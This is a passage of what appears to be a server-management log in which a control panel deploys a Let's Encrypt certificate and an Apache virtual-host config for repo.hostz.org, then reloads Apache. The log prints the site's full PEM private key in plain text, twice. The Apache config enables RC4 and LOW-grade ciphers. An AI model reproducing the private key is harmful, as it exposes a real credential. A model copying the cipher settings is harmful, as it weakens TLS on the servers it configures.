lFlwRpzZWJ9qisOXfIFwqaEG6kIgJgNwKLav/HJqAiEA72jTbJ0fxalDWwDr3Tg4
+zPhciieihyyjejH4AmvXAMAdwAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWs
YcVOIQAAAZnrmsrfAAAEAwBIMEYCIQCicKcJTSkatZ9VFw0RV8+uBVNvI3/YjHt3
Lr3ydWkhOwIhAN7VpqHgRY53tlT8vUuV8fbaSY1PDZZJOEEhD5KbDmnKMA0GCSqG
SIb3DQEBCwUAA4IBAQA5YINLRxMVwqB3AQXghGPFjv6s9j198Ak2bWkt3NEeFa/i
un3Ni/aShPdR1/owyjQDl873wudgZRvpgVY9WoCqIzXsqDI1GIn+bM0FLwc60FP0
FqxRfjjBsE9ChJZkPjDLs/iHrP6e2GQf3VqIKmv/zzi59CpKwdqMxFiPBT0jcCBW
J23Tfq3ZAZS3S8W3O9wm0XtWg2tDNNxB7d+IhwAu6V7s+eqarHJ16ZaW5lelYfTK
CabV8x3EU/zNFAOE2Sx1jpWr7SDVdlldpo8D0VCWfSXhfTHgveI78CTOGf5WZlSQ
aGbDsZFavy1pOyhPO87KlIMehnRXbk12NpfnYsA2
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCWZc7JPayJaD/Q
Zj5WKS6E8rFS6hu5HxL9gkd2bQVZTnO9bXa3owvUPlHq/Tg79uqogRnk4q4F3mti
s4rjtRLDSPKGgH/TRpW4kanW8656ReZwlD4sp+ciNS+Ne3HQge+Vtsbe2EpCARqb
T+7KPVYzPIzb/e/nCTz5j/1eLPO+TFecfpoixmbHA05qikF6qW50J2AoGPXZPqtw
b7LMcTceZ4kYW0ixXwRs/6vTHPCBztxSm6EUN3p9mGPUkgqt/eHoXkss25Q89hXp
X8j9reoLYHzGU4OWZmTgeQoaDH/D4H9M9eERL6flpp3+VnnXH/QnXaaHtO5gArCm
f4LXf7g5AgMBAAECggEALgOZ/8IJzsSBea4+djgFTpG+JQMRVlMmiT9Zw+bZExjI
mnUqNEcDMH2crIuqr9X8t29AT+H2oj8JldoerUpSIkNoSDR6Z1aaKi0OzIAjqq9G
ML16RElekv24vc295bBLb//K2pVMKuORk2EiSuf3PpfQ9OG9i28tI6GlQDH6pQbY
WdtjsVm0wJzuEq0DlAAGIlvefTlBItzbVI/8ripZ/hnh56opzR4y2W7UXpNVWJXx
apZyTMG65tYRky5eq8Il30ICRJYD+oerxYNu2azKURcWAA02NXfsApyyzdXmlS29
Otyc18rpeFy+Gm/lR1y8+g/OxA1BHf+NVWdw1LiZHQKBgQDEcg0EO1Gapg7M3nH+
d10AJvkdXcBDT2lw8Gn3dsK3Mzg01xTwZKt9++shq5VFCifs4iDuQ5mTICb8d1iQ
RuCmZT4SZX9CRl3Ge1C9WYynlAPpX1bHCwt9IgLpw5VBD955sxeYW2tq/hq2BKoo
JQ+XcoClsP9PQJIcNNKArgGdzwKBgQDD/gdxWrCpoITIO5uSWX8kNQZQQkY7KUxi
dPLvXC4LXyc1fcDXs8xiQC9d2KGGXcGK6h3RGMCitQ2116o9+QxiWHiq/RuiEm61
yL5JaJzZPQ9yTqzitdfuQubey6/9qi+FE4gBYstIPQwfpt0OW1WfBe0x0QCNMbBM
RS8k3KcTdwKBgH2lKNglDJuqTFsSh7ynIa+gPcNfnEIw/5LB4jTqG75LH08Ephrf
eKRaxVhCw3Vl+oVTWJasXASzEtx1hQq6mqMyrBHeIxgDo6T4aHrDVOg2Do5scTdb
xBxj7ZMQil0Txkr2lkfXaQwEvJbgwuhsU92c2dWgMJvDA/DQhDbTlKsXAoGBALkE
VqxYa4tF3/NR6fPHDrH0aGhdmAUDYHtVYXw6LbFIezAQ7Xny3o8lflF+TkUUvr9P
cSRR1JAEkNPHqotkTp+MWyU3WN2vvtlWjuOnoOGmta03vhcqiJQAjgdmi1XQUZmz
rWF5jOM91fMPR4DlEbfUFW1Amt+vN3lYmj+XGRXTAoGAAUFeG+uDl5xkiAvGiMFN
xVMsy2u4AsiNn14y8Ob+RBUItDGrB+zR1AjzeMqKPwHAzrPhZPJqAPz70MriI9Qb
LOQq0+nnpb98D1sGucHsNQWioKUsHOzxd960Aw9lp+XLiJpf87g9bl/hfwFt5P7P
8NJgaatr44I4b5p8AmWaYN4=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-16 06:00:19:
chmod 755 /tmp/pkp547250; /tmp/pkp547250; rm /tmp/pkp547250
2025-10-16 06:00:19:
dir=/etc/pki/tls/certs/
2025-10-16 06:00:19:
PUT: /tmp/pkp443499
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/httpd/conf.d/hostz_repo_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-16 06:00:20:
chmod 755 /tmp/pkp443499; /tmp/pkp443499; rm /tmp/pkp443499
2025-10-16 06:00:20:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/hostz_repo_org.conf 1840
<VirtualHost *:80>
ServerName repo.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_repo
<Directory /var/www/hostz_repo>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/hostz/repo_access.log combined
ErrorLog /var/log/httpd/hostz/repo_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName repo.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt
DocumentRoot /var/www/hostz_repo
<Directory /var/www/hostz_repo>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/hostz/repo_secure_access.log combined
ErrorLog /var/log/httpd/hostz/repo_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-16 06:00:20:
PUT: /tmp/pkp101623
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=hostz_repo_org.conf
TARGET=/etc/httpd/conf.d/hostz_repo_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName repo.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_repo
<Directory /var/www/hostz_repo>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/hostz/repo_access.log combined
ErrorLog /var/log/httpd/hostz/repo_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName repo.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt
DocumentRoot /var/www/hostz_repo
<Directory /var/www/hostz_repo>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/hostz/repo_secure_access.log combined
ErrorLog /var/log/httpd/hostz/repo_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/httpd/conf.d/hostz_repo_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/httpd/sites-enabled/hostz_repo_org.conf)= /etc/httpd//etc/httpd/conf.d/hostz_repo_org.conf'
echo 'file(/etc/httpd//etc/httpd/conf.d/hostz_repo_org.conf= 1'
fi
2025-10-16 06:00:21:
chmod 755 /tmp/pkp101623; /tmp/pkp101623; rm /tmp/pkp101623
2025-10-16 06:00:21:
2025-10-16 06:00:21:
PUT: /tmp/pkp399597
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-16 06:00:21:
chmod 755 /tmp/pkp399597; /tmp/pkp399597; rm /tmp/pkp399597
2025-10-16 06:00:22:
.
2025-10-16 06:00:22: Establishing a connection
2025-10-16 06:00:23:
PUT: /tmp/pkp478191
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-16 06:00:24:
chmod 755 /tmp/pkp478191; /tmp/pkp478191; rm /tmp/pkp478191
2025-10-16 06:00:24:
[Thu Oct 16 06:00:24.688017 2025] [so:warn] [pid 684917:tid 140158432303424] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80 is a NameVirtualHost
default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
*:443 is a NameVirtualHost
default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex cache-socache: using_defaults
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.
STDERR:
[Thu Oct 16 06:00:24.688017 2025] [so:warn] [pid 684917:tid 140158432303424] AH01574: module status_module is already loaded, skipping
2025-10-16 06:00:24:
PUT: /tmp/pkp810657
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/httpd/conf.d/hostz_repo_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-16 06:00:25:
chmod 755 /tmp/pkp810657; /tmp/pkp810657; rm /tmp/pkp810657
2025-10-16 06:00:25:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/hostz_repo_org.conf 1840
<VirtualHost *:80>
ServerName repo.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_repo
<Directory /var/www/hostz_repo>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/hostz/repo_access.log combined
ErrorLog /var/log/httpd/hostz/repo_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName repo.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt
DocumentRoot /var/www/hostz_repo
<Directory /var/www/hostz_repo>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/hostz/repo_secure_access.log combined
ErrorLog /var/log/httpd/hostz/repo_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-16 06:00:25:
PUT: /tmp/pkp695868
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-16 06:00:26:
chmod 755 /tmp/pkp695868; /tmp/pkp695868; rm /tmp/pkp695868
2025-10-16 06:00:26:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt 5345
1e:fb:87:41:18:01:5f:00:8b:0b:ba:59:18:6e:87:ea
-----BEGIN CERTIFICATE-----
MIIE+jCCA+KgAwIBAgISBjeDrf/o6iVPxoPvgddbmdB2MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDE2MDUwMTQ0WhcNMjYwMTE0MDUwMTQzWjAZMRcwFQYDVQQD
Ew5yZXBvLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AJZlzsk9rIloP9BmPlYpLoTysVLqG7kfEv2CR3ZtBVlOc71tdrejC9Q+Uer9ODv2
6qiBGeTirgXea2KziuO1EsNI8oaAf9NGlbiRqdbzrnpF5nCUPiyn5yI1L417cdCB
75W2xt7YSkIBGptP7so9VjM8jNv97+cJPPmP/V4s875MV5x+miLGZscDTmqKQXqp
bnQnYCgY9dk+q3BvssxxNx5niRhbSLFfBGz/q9Mc8IHO3FKboRQ3en2YY9SSCq39
4eheSyzblDz2FelfyP2t6gtgfMZTg5ZmZOB5ChoMf8Pgf0z14REvp+Wmnf5Wedcf
9Cddpoe07mACsKZ/gtd/uDkCAwEAAaOCAiAwggIcMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUFNWD+gNGIBZgx146Ye2jGSUsFhAwHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzAZBgNVHREEEjAQgg5yZXBvLmhvc3R6Lm9yZzATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEyLmMu
bGVuY3Iub3JnLzExOS5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdgBkEcRs
pBLsp4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZnrmsrXAAAEAwBHMEUCIH2A
lFlwRpzZWJ9qisOXfIFwqaEG6kIgJgNwKLav/HJqAiEA72jTbJ0fxalDWwDr3Tg4
+zPhciieihyyjejH4AmvXAMAdwAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWs
YcVOIQAAAZnrmsrfAAAEAwBIMEYCIQCicKcJTSkatZ9VFw0RV8+uBVNvI3/YjHt3
Lr3ydWkhOwIhAN7VpqHgRY53tlT8vUuV8fbaSY1PDZZJOEEhD5KbDmnKMA0GCSqG
SIb3DQEBCwUAA4IBAQA5YINLRxMVwqB3AQXghGPFjv6s9j198Ak2bWkt3NEeFa/i
un3Ni/aShPdR1/owyjQDl873wudgZRvpgVY9WoCqIzXsqDI1GIn+bM0FLwc60FP0
FqxRfjjBsE9ChJZkPjDLs/iHrP6e2GQf3VqIKmv/zzi59CpKwdqMxFiPBT0jcCBW
J23Tfq3ZAZS3S8W3O9wm0XtWg2tDNNxB7d+IhwAu6V7s+eqarHJ16ZaW5lelYfTK
CabV8x3EU/zNFAOE2Sx1jpWr7SDVdlldpo8D0VCWfSXhfTHgveI78CTOGf5WZlSQ
aGbDsZFavy1pOyhPO87KlIMehnRXbk12NpfnYsA2
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCWZc7JPayJaD/Q
Zj5WKS6E8rFS6hu5HxL9gkd2bQVZTnO9bXa3owvUPlHq/Tg79uqogRnk4q4F3mti
s4rjtRLDSPKGgH/TRpW4kanW8656ReZwlD4sp+ciNS+Ne3HQge+Vtsbe2EpCARqb
T+7KPVYzPIzb/e/nCTz5j/1eLPO+TFecfpoixmbHA05qikF6qW50J2AoGPXZPqtw
b7LMcTceZ4kYW0ixXwRs/6vTHPCBztxSm6EUN3p9mGPUkgqt/eHoXkss25Q89hXp
X8j9reoLYHzGU4OWZmTgeQoaDH/D4H9M9eERL6flpp3+VnnXH/QnXaaHtO5gArCm
f4LXf7g5AgMBAAECggEALgOZ/8IJzsSBea4+djgFTpG+JQMRVlMmiT9Zw+bZExjI
mnUqNEcDMH2crIuqr9X8t29AT+H2oj8JldoerUpSIkNoSDR6Z1aaKi0OzIAjqq9G
ML16RElekv24vc295bBLb//K2pVMKuORk2EiSuf3PpfQ9OG9i28tI6GlQDH6pQbY
WdtjsVm0wJzuEq0DlAAGIlvefTlBItzbVI/8ripZ/hnh56opzR4y2W7UXpNVWJXx
apZyTMG65tYRky5eq8Il30ICRJYD+oerxYNu2azKURcWAA02NXfsApyyzdXmlS29
Otyc18rpeFy+Gm/lR1y8+g/OxA1BHf+NVWdw1LiZHQKBgQDEcg0EO1Gapg7M3nH+
d10AJvkdXcBDT2lw8Gn3dsK3Mzg01xTwZKt9++shq5VFCifs4iDuQ5mTICb8d1iQ
RuCmZT4SZX9CRl3Ge1C9WYynlAPpX1bHCwt9IgLpw5VBD955sxeYW2tq/hq2BKoo
JQ+XcoClsP9PQJIcNNKArgGdzwKBgQDD/gdxWrCpoITIO5uSWX8kNQZQQkY7KUxi
dPLvXC4LXyc1fcDXs8xiQC9d2KGGXcGK6h3RGMCitQ2116o9+QxiWHiq/RuiEm61
yL5JaJzZPQ9yTqzitdfuQubey6/9qi+FE4gBYstIPQwfpt0OW1WfBe0x0QCNMbBM
RS8k3KcTdwKBgH2lKNglDJuqTFsSh7ynIa+gPcNfnEIw/5LB4jTqG75LH08Ephrf
eKRaxVhCw3Vl+oVTWJasXASzEtx1hQq6mqMyrBHeIxgDo6T4aHrDVOg2Do5scTdb
xBxj7ZMQil0Txkr2lkfXaQwEvJbgwuhsU92c2dWgMJvDA/DQhDbTlKsXAoGBALkE
VqxYa4tF3/NR6fPHDrH0aGhdmAUDYHtVYXw6LbFIezAQ7Xny3o8lflF+TkUUvr9P
cSRR1JAEkNPHqotkTp+MWyU3WN2vvtlWjuOnoOGmta03vhcqiJQAjgdmi1XQUZmz
rWF5jOM91fMPR4DlEbfUFW1Amt+vN3lYmj+XGRXTAoGAAUFeG+uDl5xkiAvGiMFN
xVMsy2u4AsiNn14y8Ob+RBUItDGrB+zR1AjzeMqKPwHAzrPhZPJqAPz70MriI9Qb
LOQq0+nnpb98D1sGucHsNQWioKUsHOzxd960Aw9lp+XLiJpf87g9bl/hfwFt5P7P
8NJgaatr44I4b5p8AmWaYN4=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
